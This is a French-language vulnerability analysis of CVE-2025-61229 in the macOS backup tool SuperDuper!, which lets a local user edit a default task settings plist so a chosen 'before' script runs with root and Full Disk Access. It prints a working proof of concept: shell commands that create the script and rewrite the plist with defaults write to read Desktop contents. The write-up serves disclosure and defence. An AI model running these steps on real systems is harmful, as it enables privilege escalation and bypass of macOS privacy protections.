
Analyse technique et exploit proof-of-concept pour CVE-2025-61229, une escalade de privilèges locaux dans SuperDuper! qui permet l'exécution arbitraire de scripts avec root et Full Disk Access sur macOS.
D'après le blog du développeur :
Les scripts shell Before/After configurables par l'utilisateur s'exécutent avec les privilèges élevés de SuperDuper, bénéficiant des autorisations TCC d'accès complet au disque. Comme ces scripts sont référencés par les fichiers de paramètres pour la copie ou la planification, un acteur malveillant pourrait modifier ces paramètres pour exécuter son propre script.
Depuis le CVE :
Un problème dans SuperDuper! de Shirt Pocket versions 3.10 et antérieures permet à un attaquant local de modifier le modèle de tâche par défaut pour exécuter un script preflight arbitraire avec les privilèges root et l'accès complet au disque, contournant ainsi les contrôles de confidentialité de macOS.
Cet auteur n'est pas le découvreur de la vulnérabilité, qui est identifié par le développeur de SuperDuper comme « chercheur en sécurité anonyme ». Je ne revendique aucun mérite pour la découverte de cette vulnérabilité, j'ai simplement pris un certain intérêt à en faire une analyse technique.
Score CVSS 3.1 : 7.8 Élevé (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Pour éviter cette vulnérabilité, supprimez l'application SuperDuper! ou appliquez la mise à jour 3.11.
Avertissement : Vous devez télécharger la mise à jour directement depuis le site web du développeur pour éviter la vulnérabilité CVE-2025-61228.
Cette analyse d'exploitation et preuve de concept sont fournies à des fins éducatives uniquement. Utilisez-les à vos propres risques.
Les privilèges root et l'accès complet au disque sont les plus hauts privilèges qu'un logiciel peut atteindre sur macOS. Tout développeur qui demande ces privilèges devrait écrire un logiciel respectant les principes de conception sécurisée modernes et les meilleures pratiques. Cette vulnérabilité, ainsi que celles exposées dans CVE-2025-57489 et CVE-2025-61228, et même l'aveu du développeur que ces problèmes persistent depuis 22 ans, démontrent que SuperDuper n'a pas été conçu comme un produit sécurisé et n'a pas connu d'améliorations régulières de conception pendant 22 ans pour respecter les meilleures pratiques de sécurité modernes.
Les paramètres de tâche de SuperDuper restent intrinsèquement non sécurisés dans la version actuelle (3.11) du produit. Je conseille à quiconque utilise ce produit de cesser de l'utiliser jusqu'à ce que le développeur fournisse une mise à jour compétente qui résout complètement tous les problèmes de sécurité mentionnés ci-dessus.
Cette vulnérabilité était beaucoup plus facile à exploiter que les deux précédentes (CVE-2025-57489 et CVE-2025-61228) – franchement, c'était trop facile. Quand une vulnérabilité est aussi évidente, facile à exploiter et reste non résolue depuis des décennies, on commence à se demander si l'écriture de logiciels sécurisés est importante pour le développeur.
En partant d'une version vulnérable de l'application, la première chose à faire est de trouver où se trouve ce « modèle de tâche par défaut ». L'endroit évident à regarder serait ~/Library/Application Support/{nom du fournisseur/produit}. Bingo, il y a trois dossiers dans ~/Library/Application Support/SuperDuper! :
« Copy Scripts » ne contient qu'un lien symbolique vers un dossier dans le bundle de l'application, donc ce n'est pas ça. Dans « Saved Settings », il y a un dossier caché nommé « .Default Settings.sdsp ». À l'intérieur de ce dossier, il y a un dossier « Logs » et un seul fichier nommé « Session Settings.sdss » au format plist. Le fichier Session Settings appartient à l'utilisateur connecté, et oui, tous les paramètres de tâche sont là, exposés dans ce fichier.
Les scripts before/after sont contrôlés par quatre paramètres :
<key>SDbeforeCopyScript</key>
<string></string>
<key>SDsiteCustomizationScript</key>
<string></string>
<key>SDshouldInvokeBeforeCopyScript</key>
<false/>
<key>SDshouldInvokeSiteCustomizationScript</key>
<false/>
Ce simple script de test prouvera les deux aspects de la vulnérabilité :
mkdir /tmp/script
cd ~; export home=`pwd`; export user=`whoami`
printf '#!/bin/bash\n' > /tmp/script/before.sh
printf "ls -l $home/Desktop > /Library/private_data.txt\n" >> /tmp/script/before.sh
chmod a+x /tmp/script/before.sh
Ensuite, modifiez simplement le plist « Session Settings.sdss ». L'utilitaire defaults fera l'affaire rapidement, mais nous devons faire une copie de ce fichier car defaults nécessite un fichier avec un suffixe .plist :
cd ~/'Library/Application Support/SuperDuper!/Saved Settings/.Default Settings.sdsp'
cp 'Session Settings.sdss' Settings.plist
defaults write "`pwd`"/Settings.plist SDshouldInvokeBeforeCopyScript -bool YES
defaults write "`pwd`"/Settings.plist SDbeforeCopyScript /tmp/script/before.sh
cp Settings.plist 'Session Settings.sdss'
Ouvrez SuperDuper et exécutez une sauvegarde. Une fois terminée, cherchez le fichier « private_data.txt » dans /Library (il devrait contenir une liste de fichiers de votre Bureau, qui ne serait accessible qu'à une application ayant le privilège spécial d'accéder à ces données privées). Honnêtement, je suis un peu surpris de la vulnérabilité des paramètres de tâche. « Sont » n'est pas une faute de frappe. Voici comment le développeur décrit la « solution » pour cette vulnérabilité :
Pour atténuer cette vulnérabilité, dans v3.11, nous avons apporté deux modifications :
Les scripts shell Before/After sont désormais forcés de s'exécuter avec l'ID et les privilèges de l'utilisateur. Les personnes nécessitant des contextes d'exécution alternatifs peuvent le faire via des méthodes Unix normales comme suid.
Les scripts doivent appartenir à l'utilisateur root, même lorsqu'ils sont exécutés dans le contexte normal de l'utilisateur. Cela garantit que tout script exécuté a été explicitement autorisé par un utilisateur administratif.
Donc ils ont imposé certaines limitations sur ce qui peut être exécuté comme script before/after, mais ils ne semblent pas avoir amélioré la sécurité du fichier de paramètres de tâche. Malheureusement, cela n'est efficace que pour limiter l'attaquant à faire quoi que ce soit de productif. La seule exigence sur le script shell before/after est qu'il doit appartenir à root. À part cela, l'attaquant a toujours les coudées franches pour modifier le modèle de paramètres de tâche par défaut. C'est complètement absurde. Peut-être qu'un attaquant ne peut pas utiliser ces scripts before/after pour exfiltrer vos mots de passe et données financières, mais je parie qu'il pourrait causer des dégâts en spécifiant n'importe quel outil shell intégré aléatoire (dont la plupart répondent à l'exigence de propriété root). Allez-y, branchez l'utilitaire « /usr/bin/say » comme script Before et voyez ce qui se passe – ce serait hilarant si la sécurité des données n'était pas un sujet aussi sérieux. Aucun des utilitaires intégrés n'aura d'impact significatif sans pouvoir modifier les arguments, mais certains pourraient causer des désagréments et feront certainement échouer la sauvegarde.
Mon point est qu'il y a une différence entre « éviter une exploitation root » et « écrire un logiciel sécurisé ». Le développeur a en grande partie réussi à éviter deux opportunités d'exploitation root ici, mais la configuration des tâches reste intrinsèquement non sécurisée. N'importe qui peut modifier les paramètres de tâche « en coulisses », et si vous ne faites pas attention, ces modifications pourraient avoir un impact sur vos données ou votre sauvegarde.
Vous devez aussi vous demander si ce manque de sécurité sur les autres paramètres pourrait encore être exploité.